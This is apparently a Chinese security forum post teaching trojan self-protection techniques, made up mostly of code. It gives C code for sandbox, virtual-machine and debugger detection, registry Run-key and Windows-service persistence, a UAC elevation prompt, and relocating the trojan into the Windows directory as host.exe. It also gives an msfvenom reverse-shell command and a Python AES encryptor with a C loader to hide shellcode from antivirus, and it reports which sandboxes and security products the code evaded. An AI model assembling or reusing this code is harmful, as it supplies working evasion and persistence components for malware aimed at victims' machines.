一些木马反制技巧

在信息安全攻防领域,木马程序 的隐藏与反制技术一直是研究的热点与难点。本篇文章深入探讨了恶意程序如何通过多种手段实现自我隐藏、逃避检测以及持久化运行

反沙箱

沙箱(Sandbox)是一种隔离机制,通过创建一个受控的、隔离的计算环境,允许软件在不影响宿主系统或网络的情况下运行和测试。这种技术在恶意程序分析中尤为重要,因为它能够安全地捕获和分析恶意软件的行为、特征及其对系统和网络的影响。在国内,常用的两个在线云沙箱分析平台是微步和安恒

  1. https://s.threatbook.com/
  2. https://sandbox.dbappsecurity.com.cn/

接下来的案例实战测试将基于这两个平台进行

在沙箱环境中,常用的应用程序(如QQ、微信、钉钉等)通常不存在。为了检测是否运行在沙箱环境中,可以写一个白名单机制。将所有常用软件的名称添加到白名单中,然后遍历当前系统中的进程。如果白名单中的程序没有一个在运行,则可以判定当前环境可能为沙箱,从而触发木马程序退出

  1. #include <windows.h>
  2. #include <tlhelp32.h>
  3. #include <stdio.h>
  4. #include <stdbool.h>
  5. bool is_process_running(const char* process_name) {
  6. bool found = false;
  7. HANDLE hProcessSnap;
  8. PROCESSENTRY32 pe32;
  9. hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  10. if (hProcessSnap == INVALID_HANDLE_VALUE) {
  11. return false;
  12. }
  13. pe32.dwSize = sizeof(PROCESSENTRY32);
  14. if (!Process32First(hProcessSnap, &amp;pe32)) {
  15. CloseHandle(hProcessSnap);
  16. return false;
  17. }
  18. do {
  19. if (strcmp(pe32.szExeFile, process_name) == 0) {
  20. found = true;
  21. break;
  22. }
  23. } while (Process32Next(hProcessSnap, &amp;pe32));
  24. CloseHandle(hProcessSnap);
  25. return found;
  26. }
  27. int main() {
  28. if (!is_process_running("qq.exe") &amp;&amp; !is_process_running("wechat.exe")) {
  29. return 0;
  30. }
  31. return 0;
  32. }

使用CreateToolhelp32Snapshot函数获取系统中所有进程的快照,然后用Process32First 函数获取第一个进程的信息,Process32Next 函数遍历剩余的进程 , 比较每个进程的名称(pe32.szExeFile)与 process_name,如果匹配则设置 foundtrue 并退出循环

实战测试,这两个云沙箱平台都无法正常运行程序,成功绕过沙箱

image.png

image.png

反虚拟机

在手动分析恶意软件时,通常是在虚拟机环境中进行的。为检测程序是否在虚拟机中运行,可以读取特定的注册表信息。如果检测到当前程序正在虚拟机中运行,则自动退出程序,以避免分析和调试

  1. #include <windows.h>
  2. #include <stdio.h>
  3. int IsRunningInVM() {
  4. char szHardware[256];
  5. DWORD size = sizeof(szHardware);
  6. int isVM = 0;
  7. if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Enum\\IDE", "HardwareID", RRF_RT_REG_SZ, NULL, szHardware, &amp;size) == ERROR_SUCCESS) {
  8. if (strstr(szHardware, "VMware") || strstr(szHardware, "Virtual")) {
  9. isVM = 1;
  10. }
  11. }
  12. size = sizeof(szHardware);
  13. if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum", "0", RRF_RT_REG_SZ, NULL, szHardware, &amp;size) == ERROR_SUCCESS) {
  14. if (strstr(szHardware, "VMware") || strstr(szHardware, "VBOX")) {
  15. isVM = 1;
  16. }
  17. }
  18. return isVM;
  19. }
  20. int main(int argc, char *argv[]) {
  21. if (IsRunningInVM()) {
  22. return 0;
  23. }

RegGetValueA 被调用以从注册表路径 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE 中检索 HardwareID 的值, 如果调用成功(返回 ERROR_SUCCESS),则检查检索到的字符串(szHardware)是否包含子字符串 “VMware” 或 “Virtual” , 如果找到任一子字符串,则将 isVM 设置为 1 ,第二个if判断同理

如果返回1,则代表程序在虚拟机里运行,执行退出指令

反调试

使用IsDebuggerPresent函数可以防止逆向工程工具进行动态调试

  1. #include <windows.h>
  2. #include <stdio.h>
  3. void checkDebugger() {
  4. if (IsDebuggerPresent()) {
  5. ExitProcess(1);
  6. }
  7. int main() {
  8. checkDebugger();
  9. return 0;
  10. }

IsDebuggerPresent() 返回非零值,意味着检测到调试器,程序将调用 ExitProcess(1)退出程序,实测xdbg调试程序时会触发退出

添加到开机启动项

"Software\\Microsoft\\Windows\\CurrentVersion\\Run" 是一个注册表路径,用于存储当前用户登录时自动运行的程序。我们可以将当前程序的路径写入该注册表项,以实现开机自启动功能

  1. #include <windows.h>
  2. #include <stdio.h>
  3. void add_to_startup(const char *appname, const char *path) {
  4. HKEY hKey;
  5. LONG result;
  6. result = RegOpenKeyEx(HKEY_CURRENT_USER,
  7. "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
  8. 0, KEY_SET_VALUE, &amp;hKey);
  9. if (result != ERROR_SUCCESS) {
  10. return;
  11. }
  12. result = RegSetValueEx(hKey, appname, 0, REG_SZ, (BYTE *)path, strlen(path) + 1);
  13. RegCloseKey(hKey);
  14. }
  15. int main(int argc, char *argv[]) {
  16. char path[MAX_PATH];
  17. if (GetModuleFileName(NULL, path, MAX_PATH) == 0) {
  18. return 1;
  19. }
  20. add_to_startup("MyAppName", path);
  21. }

实测写入注册表时只有360会有提示,火绒和defender不会弹出提示

AES混淆shellcode

首先需要cs或者msf生成raw格式的shellcode源文件,这里用msf举例

  1. msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=8888 -f raw -o msf.bin

然后用python脚本生成aes加密的key和加密后的shellcode

  1. import sys
  2. from Crypto.Cipher import AES
  3. from Crypto.Util.Padding import pad
  4. from os import urandom
  5. import hashlib
  6. def AESencrypt(plaintext, key):
  7. k = hashlib.sha256(KEY).digest()
  8. iv = 16 * b'\x00'
  9. plaintext = pad(plaintext, AES.block_size)
  10. cipher = AES.new(k, AES.MODE_CBC, iv)
  11. ciphertext = cipher.encrypt(plaintext)
  12. return ciphertext,key
  13. def printResult(key, ciphertext):
  14. print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
  15. print('unsigned char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')
  16. try:
  17. file = open(sys.argv[1], "rb")
  18. content = file.read()
  19. except:
  20. print("Usage: .\AES_cryptor.py PAYLOAD_FILE")
  21. sys.exit()
  22. KEY = urandom(16)
  23. ciphertext, key = AESencrypt(content, KEY)
  24. printResult(KEY,ciphertext)

image.png
在木马里写入aes解密脚本即可

  1. #include <windows.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <wincrypt.h>
  6. #include <shlobj.h>
  7. #pragma comment(lib, "crypt32.lib")
  8. #pragma comment(lib, "advapi32.lib")
  9. void aes(char* code, DWORD codeLen, char* key, DWORD keyLen) {
  10. HCRYPTPROV hProv;
  11. HCRYPTHASH hHash;
  12. HCRYPTKEY hKey;
  13. if (!CryptAcquireContextW(&amp;hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
  14. return;
  15. }
  16. if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &amp;hHash)) {
  17. return;
  18. }
  19. if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
  20. return;
  21. }
  22. if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &amp;hKey)) {
  23. return;
  24. }
  25. if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, &amp;codeLen)) {
  26. return;
  27. }
  28. CryptReleaseContext(hProv, 0);
  29. CryptDestroyHash(hHash);
  30. CryptDestroyKey(hKey);
  31. }
  32. int main(int argc, char *argv[]) {
  33. unsigned char key[] = { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 };
  34. unsigned char code[] = {0xa0, 0x82, 0xa3, 0xbf, 0xce, 0xd5, 0xd5, 0xce, 0x0, 0xf8, 0xc1, 0x34, 0x7f, 0x39, 0xcf, 0xdb, 0xf2, 0xd3, 0x72, 0x2c, 0xf2, 0x8c, 0xf7, 0xc4, 0xaf, 0x66, 0xb7,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x83, 0xe, 0x79, 0xa9, 0x1b, 0x28, 0x68, 0x75, 0x8a, 0xd0, 0x38, 0x8b, 0x47, 0x5a, 0xc2, 0xe, 0x6d, 0x96, 0x6e, 0xe7, 0x45, 0xe1, 0x7e, 0x95, 0x80, 0xf3, 0xc4, 0xce, 0xc5, 0x11, 0x70, 0x63, 0x36, 0x79, 0x5c, 0x9e, 0x4f, 0x35, 0xe2, 0x6d, 0x28, 0x4, 0x9d, 0xdb, 0x2a, 0x2d, 0x8b, 0x5f, 0xcf, 0xb0, 0xda, 0xab, 0x10, 0x9b, 0xec, 0xaf, 0x13, 0x34, 0xe8, 0x65, 0x2b, 0x6f, 0xf4, 0xc9, 0x43, 0x35, 0x6c, 0x56, 0x2f, 0xa9};
  35. DWORD code_length = sizeof(code);
  36. aes((char*)code, code_length, key, sizeof(key));
  37. //现在解密了shellcode,之后运行code函数即可
  38. }

开机自启动服务注册

windows服务注册需要管理员权限,可以提权后或者弹框申请管理员权限运行后再执行注册服务功能

  1. #include <windows.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <wincrypt.h>
  6. #include <shlobj.h>
  7. #pragma comment(lib, "crypt32.lib")
  8. #pragma comment(lib, "advapi32.lib")
  9. void CreateServiceToRunAtStartup() {
  10. SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
  11. if (schSCManager == NULL) {
  12. return;
  13. }
  14. char path[MAX_PATH];
  15. SHGetSpecialFolderPath(NULL, path, CSIDL_WINDOWS, FALSE);
  16. strcat(path, "\\host.exe");
  17. SC_HANDLE schService = CreateService(
  18. schSCManager,
  19. "host",
  20. "host",
  21. SERVICE_ALL_ACCESS,
  22. SERVICE_WIN32_OWN_PROCESS,
  23. SERVICE_AUTO_START,
  24. SERVICE_ERROR_NORMAL,
  25. path,
  26. NULL, NULL, NULL, NULL, NULL);
  27. if (schService == NULL) {
  28. CloseServiceHandle(schSCManager);
  29. return;
  30. }
  31. CloseServiceHandle(schService);
  32. CloseServiceHandle(schSCManager);
  33. }
  34. int main(int argc, char *argv[]) {
  35. CreateServiceToRunAtStartup(); //会将当前程序注册一个名叫host.exe的windows服务,并且开机自启动
  36. }

弹框申请管理员权限运行

  1. #include <windows.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <wincrypt.h>
  6. #pragma comment(lib, "crypt32.lib")
  7. BOOL IsRunAsAdministrator() {
  8. BOOL fIsRunAsAdmin = FALSE;
  9. PSID pAdministratorsGroup = NULL;
  10. SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
  11. if (AllocateAndInitializeSid(&amp;NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
  12. 0, 0, 0, 0, 0, 0, &amp;pAdministratorsGroup)) {
  13. CheckTokenMembership(NULL, pAdministratorsGroup, &amp;fIsRunAsAdmin);
  14. FreeSid(pAdministratorsGroup);
  15. }
  16. return fIsRunAsAdmin;
  17. }
  18. void ElevatePrivileges() {
  19. if (!IsRunAsAdministrator()) {
  20. char szPath[MAX_PATH];
  21. if (GetModuleFileName(NULL, szPath, ARRAYSIZE(szPath))) {
  22. SHELLEXECUTEINFO sei = { sizeof(sei) };
  23. sei.lpVerb = "runas";
  24. sei.lpFile = szPath;
  25. sei.hwnd = NULL;
  26. sei.nShow = SW_NORMAL;
  27. if (!ShellExecuteEx(&amp;sei)) {
  28. exit(1);
  29. }
  30. exit(0);
  31. }
  32. }
  33. }
  34. int main(int argc, char *argv[]) {
  35. ElevatePrivileges();
  36. }

效果是这样,双击运行后会弹框申请管理员权限运行

image.png

木马程序转移隐藏

  1. void CopyFilesToWindowsDir() {
  2. char srcPath[MAX_PATH], destPath[MAX_PATH], dllSrcPath[MAX_PATH];
  3. GetModuleFileName(NULL, srcPath, MAX_PATH);
  4. SHGetSpecialFolderPath(NULL, destPath, CSIDL_WINDOWS, FALSE);
  5. strcat(destPath, "\\host.exe");
  6. CopyFile(srcPath, destPath, FALSE);
  7. }
  8. int main(int argc, char *argv[]) {
  9. CopyFilesToWindowsDir();
  10. }

运行后将木马转移到了c:/windows目录下,改名为host.exe

  • 发表于 2025-01-15 09:36:49
  • 阅读 ( 2707 )
  • 分类:二进制

0 条评论

cike_y
cike_y

8 篇文章

站长统计